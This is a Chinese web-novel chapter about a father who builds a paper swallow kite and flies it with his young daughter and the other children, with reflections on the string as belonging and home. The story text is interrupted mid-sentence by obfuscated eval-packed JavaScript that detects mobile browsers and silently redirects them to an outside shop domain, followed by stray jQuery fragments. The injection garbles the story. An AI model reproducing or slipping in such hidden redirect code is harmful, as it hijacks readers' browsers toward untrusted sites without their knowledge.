春天来的时候，沈念决定学放风筝。
不是沈渡提议的，不是学校布置的作业，是她自己在公园看到别人放风筝之后，站在那儿看了整整二十分钟，然后跑回来跟沈渡说：“爸爸，我想飞。”
沈渡看了她一眼。七岁的沈念，缺的两颗门牙已经长出了一颗，另一颗还在冒白尖。她站在春光里，头发扎了两个小揪，一高一低，念念不忘的腿夹在胳膊底下，眼睛亮得像两颗刚从水里捞出来的星星。
沈渡说：“好。”
第二天，他带回来一只风筝。
不是买的，是他自己做的。竹篾削薄了，烤弯了，用棉线扎成骨架。宣纸裁成燕子的形状，用毛笔蘸了墨，一笔一笔画出翅膀和尾巴。眼睛点了两笔，不圆，但很有神，像真燕子一样，好像在说：“你带我去哪，我就去哪。”
沈念拿到风筝的时候，第一反应不是高兴，是震惊。
“爸爸，你会做风筝？”
“刚学的。”
“你什么时候学的？”
“昨天晚上你们睡了之后。”
沈念低下头，摸了摸风筝的翅膀。宣纸很薄，透光，阳光穿过纸面落在她手背上，像一小片温暖的、会呼吸的影子。她摸着那两笔墨色的眼睛，摸了一会儿，然后把风筝举过头顶，在屋子里跑了一圈。
风筝没有飞起来，屋子里没有风，但它的尾巴在她身后飘着，像一只真的燕子在跟着她。
林暮站在走廊里，看着沈念跑来跑去，默默地走到窗边，把窗户开到了最大。风涌进来，吹动了窗帘，吹动了风筝的尾巴，吹动了沈念的头发。她停下来，站在风口里，风筝在手中轻轻晃动，翅膀一张一合，像在呼吸。
她扭头看沈渡。
沈渡靠在门框上，嘴角弯着。
“明天，去公园。”他说。
第二天是个好天气。
春天的天空很高很蓝，云很少，风不大不小，刚好够把一只纸做的燕子托起来。公园的草坪上已经有好几个人在放风筝了，有蜈蚣的，有蝴蝶的，有奥特曼的。沈念抱着燕子风筝，站在草坪中间，仰头看着天上那些花花绿绿的东西，嘴巴微微张着，像第一次看见海的北方孩子。
沈渡蹲下来，把风筝线拴在风筝的骨架上。他拴得很仔细，线绕了三圈，打了两个结，拉紧了，不会松。沈念在旁边看着他的手指翻飞，忽然问了一句：“爸爸，线会不会断？”
沈渡的手顿了一下。
“不会。”
“要是风太大了呢？”
“不会。”
“要是风筝不想回来呢？”
沈渡抬起头，看着沈念。七岁的女孩，眼睛里有一种不属于这个年纪的认真。她不是在问风筝，她是在问别的什么。沈渡听懂了。他放下风筝，把线轴放在沈念手心里，然后用两只手包住她的小手，包得紧紧的。
“念儿，线的作用不是拴住风筝，是让风筝知道，不管飞多远，都有一个地方可以回来。断了线的风筝不是自由，是迷路。它不知道自己会落在哪里，也许挂在树上，也许掉进河里，也许被人捡走扔进垃圾桶。
有线牵着的风筝不一样。它可以飞得很高很高，高到地上的人看不见它，但只要它想回来，收线就可以了。线不会断。因为线的另一端，有人一直在握着。”
沈念眨了眨眼，没有说“我懂了”。她才七岁，不一定听得懂这些话。但她把线轴握得很紧，紧到指节发白。
“那我去飞了。”她说。
“去吧。”
沈念跑了起来。她跑得不快，风把她的头发吹到脑后，两个小揪歪得更厉害了。风筝在她身后拖了一段，尾巴扫过草地，发出沙沙的声响。
她跑着跑着，感觉到手里的线忽然一紧，像有什么东西在往天上拽她。她回头看了一眼——风筝起来了。燕子的翅膀在风里张开，尾巴平衡着身体，那两点墨色的眼睛在阳光下亮亮的，好像真的在看她。
她停下来了。风筝没有掉下来，它在空中稳稳地飘着，线从她手中延伸到天上，像一条看不见的河流。
沈念站在原地，仰着头，看着那只纸做的燕子越飞越高。高到燕子的轮廓开始模糊，高到那两点墨色的眼睛看不见了，高到只剩一个小黑点，像一颗刚被放飞还没来得及落地的星星。
她看了很久，久到林暮走过来，站到她旁边，也仰起头。林鸢走过来，抱着小夜，琴头朝着天空。顾夜走过来，手里端着一杯水，水杯是向日葵的。傅星辰走过来，手背上画着一只小小的、刚学会飞的蝴蝶。
五个孩子，五颗仰起的脸，五双望着同一片天空的眼睛。
风筝还在飞。
线轴在沈念手里，她没有收线，也没有放线，就那么握着。风从远处吹来，穿过她的头发，穿过林暮的衣角，穿过林鸢的琴弦，穿过顾夜的水杯，穿过傅星辰手背上的蝴蝶。
然后继续往前，吹过草坪，吹过湖水，吹过远处的高楼，吹向更远更远的地方。
沈渡站在孩子们身后，没有仰头。他在看他们。看他们仰起的脸，看他们被风吹乱的头发，看他们手里握着的东西——线轴、琴、水杯、画笔。还有那只念念不忘的腿，被沈念放在草地上，毛茸茸的，纽扣眼睛望着天空，好像在替她看着那只越来越高的燕子。
沈渡笑了一下。
风筝线在风中发出细微的嗡嗡声，像一首只有它自己听得见的歌。沈念忽然开口了，没有回头，声音不大，但风把它送到了沈渡耳朵里。
“爸爸，以后每年春天都来放风筝好不好？”
“好。”
“等我长大了，我陪弟弟妹妹来放。”
“好。”
“等弟弟妹妹长大了，他们陪他们的小孩来放。”
“好。”
“等风筝破了，做新的。等线断了，接起来。等爸爸老了，走不动了，我用轮椅推你来。轮椅推不上草坪，我就背你来。背不动了，我们就坐在家里，看别人放风筝。不看也可以，我们聊天。聊什么都可以，聊今天吃什么，聊明天天气好不好，聊念念不忘的腿什么时候会再掉下来。”
沈渡的眼眶热了一下。
他没有让那点热变成眼泪。他走过去，从沈念手里接过线轴。风筝还在飞，稳稳的。他收了一点线，风筝在空中晃了晃，然后更稳了。
“念儿。”
“嗯？”
“你知道风筝为什么能飞吗？”
沈念想了想：“因为有风。”
“还有呢？”
“还有……有线？”
“还有。”
沈念想了很久，摇了摇头。
沈渡把线轴放回她手里，然后伸出手，指了指风筝，指了指天，指了指风，指了指她。
“因为有人愿意牵着它
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547265|204194||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。风来了，它飞。风停了，它落。但不管飞多高、落多远，只要线还在，它就知道自己属于哪里。不是属于天空，是属于那个牵着线的人。”
沈念低下头，看着手里的线轴。
线轴是木头的，沈渡自己削的，磨得很光滑，握在手里不扎手。
线是白色的，细细的，在阳光下闪着银光，从线轴延伸到天上，延伸到那个已经变成小黑点的燕子。她忽然把线轴抱进怀里，抱得很紧，像抱念念不忘的腿那样紧。
“爸爸，我不会松手的。”她说。
“我知道。”
“你不会松手的，对不对？”
沈渡蹲下来，看着她的眼睛。那双眼睛里没有泪，但有很多很多的光。春天的光，风筝的光，线轴的光，还有沈渡自己的光，都在那两颗像葡萄一样的眼睛里，亮着。
“不会。”他说。
沈念笑了。缺的那颗牙还没长出来，笑起来有一个小小的黑洞，像一颗被摘掉核的果子。她笑的时候，那个黑洞也跟着笑，好像里面有另一个更小的她，也在笑。
风筝飞了一整个下午。太阳从东边爬到西边，影子从长变短又从短变长。五个人坐在草坪上，轮流握着线轴。沈念握得最久，林暮握得最稳，林鸢握得最轻，顾夜握得最紧，傅星辰握得最认真。
夕阳西下的时候，沈念开始收线。一圈一圈，线从天上被拉回来，风筝从一个小黑点慢慢变大，变成燕子，变成纸做的翅膀和尾巴，变成那两点墨色的眼睛。
最后，风筝落回了她手里。翅膀完好，尾巴完好，眼睛还在笑。她把它抱在怀里，像抱一只真的燕子。
“回家了。”她说。
“回家了。”沈渡站起来，拍了拍裤子上的草屑。五个孩子跟在他身后，走在春天的暮色里。夕阳把他们的影子拉得很长很长，投在草地上，投在小路上，投在开满野花的田埂上。五棵挨在一起的树的影子。高高低低，粗粗细细，有的叶子还黄着，有的已经开始冒新芽。但它们的根，已经在同一片土壤里，缠在了一起。很深很深，深到挖不出来。深到即使有一天，这五棵树被移栽到不同的地方，那片土壤还会留在根上，洗不掉，忘不掉。那是他们最初的家。
晚上，沈念把风筝挂在床头的墙上，和念念不忘的腿并排。燕子的眼睛朝着熊腿的纽扣眼睛，好像在说“你好，我是燕子”，熊腿的纽扣眼睛歪歪扭扭的，好像在说“你好，我是腿”。沈念躺在床上，看了它们一会儿，然后翻了个身，把被子拉到下巴。
“念念不忘，燕子，晚安。”她说。
走廊里，五盏小夜灯亮着。兔子、月亮、鸢尾花、刺猬、向日葵。第六盏还是空的，灯座光秃秃地立在那里，像一个还没有等到主人的小小哨兵。但它亮着。不是灯在亮，是灯座旁边那杯温水反射的光。水杯是新的，白色的，上面画着一只风筝。风筝的线很长，从杯口一直绕到杯底，绕了很多圈。线的尽头没有画风筝，线悬在那里，像在等一阵风，等一只还没有折好的燕子。
沈渡路过的时候，把那杯温水端起来，喝了一口。水是温的，不烫嘴，不凉牙。他放下杯子，把杯口转了一下，让风筝线的方向朝着走廊的窗户。窗户外面是夜空，深蓝色的，星星很多，有一颗很亮，像一只正在飞的、还没有落地的风筝。
他看了那颗星很久。然后关了灯，回了房间。
门没有关。